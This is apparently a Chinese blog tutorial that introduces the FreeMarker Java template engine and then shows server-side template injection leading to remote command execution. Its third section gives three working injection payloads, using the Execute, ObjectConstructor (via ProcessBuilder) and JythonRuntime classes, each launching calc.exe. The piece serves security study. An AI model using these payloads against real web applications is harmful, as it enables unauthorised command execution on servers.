FreeMarker模板注入实现远程命令执行

一、什么是 FreeMarker?

FreeMarker 是一款 模板引擎:即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

模板编写为FreeMarker Template Language (FTL)。它是简单的,专用的语言, 不是 像PHP那样成熟的编程语言。 那就意味着要准备数据在真实编程语言中来显示,比如数据库查询和业务运算, 之后模板显示已经准备好的数据。在模板中,你可以专注于如何展现数据, 而在模板之外可以专注于要展示什么数据。 

 

 

这种方式被称为 MVC (模型 视图 控制器) 模式,对于动态网页来说,是一种特别流行的模式。 它帮助从开发人员(Java 程序员)中分离出网页设计师(HTML设计师)。设计师无需面对模板中的复杂逻辑, 在没有程序员来修改或重新编译代码时,也可以修改页面的样式。

而FreeMarker最初的设计,是被用来在MVC模式的Web开发框架中生成HTML页面的,它没有被绑定到 Servlet或HTML或任意Web相关的东西上。它也可以用于非Web应用环境中。

FreeMarker 是 免费的, 基于Apache许可证2.0版本发布。

二、FreeMarker模板

<html>
<head>
  <title>Welcome!</title>
</head>
<body>
 <#–这是注释–> <h1>Welcome ${user}!</h1> <p>Our latest product: <a href="${latestProduct.url}">${latestProduct.name}</a>! </body> </html>

模板文件存放在Web服务器上,就像通常存放静态HTML页面那样。当有人来访问这个页面, FreeMarker将会介入执行,然后动态转换模板,用最新的数据内容替换模板中 ${...} 的部分, 之后将结果发送到访问者的Web浏览器中。访问者的Web浏览器就会接收到例如第一个HTML示例那样的内容 。

常用的几种类型:

文本:包括HTML标签与静态文本等静态内容,会原样输出;

插值:这部分的输出会被计算的数据来替换,使用${}这种语法;

标签:给FreeMarker的指示,可以简单与指令等同,不会打印在内容中,比如<#assign name='bob'>;

注释:由<#–和–>表示,不会被freemarker处理

三、利用注入实现远程命令执行

3.1 搭建一个简单的测试页面,在页面上提交一个参数,参数会通过freemarker模块被处理,当然参数不经过任何处理,参数会显示在Hello后面。

 

 3.2 按照FreeMarker模板插值的用法,提交${2*2},显示Hello 4,说明表达式被执行了

 

 3.3 FreeMarker高级内置函数

参考:https://freemarker.apache.org/docs/ref_builtins_expert.html

其中, new函数创建一个继承 freemarker.template.TemplateModel 类的变量。

New 使用示例:

 

 

3.4 构造Payload方法一

freemarker.template.utility里面有个Execute类,如下图所示,这个类会执行它的参数,因此我们可以利用new函数新建一个Execute类,传输我们要执行的命令作为参数,从而构造远程命令执行漏洞。

 

 

构造payload:

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

 

 

 3.5 构造Payload方法二

freemarker.template.utility里面有个ObjectConstructor类,如下图所示,这个类会把它的参数作为名称,构造了一个实例化对象。因此我们可以构造一个可执行命令的对象,从而构造远程命令执行漏洞。

 

 构造payload:

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

3.6 构造Payload方法三

freemarker.template.utility里面的JythonRuntime,可以通过自定义标签的方式,执行Python命令,从而构造远程命令执行漏洞。

 构造payload:

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>

 

posted @ 2020-04-21 21:18  Eleven_Liu  阅读(4158)  评论(3编辑  收藏  举报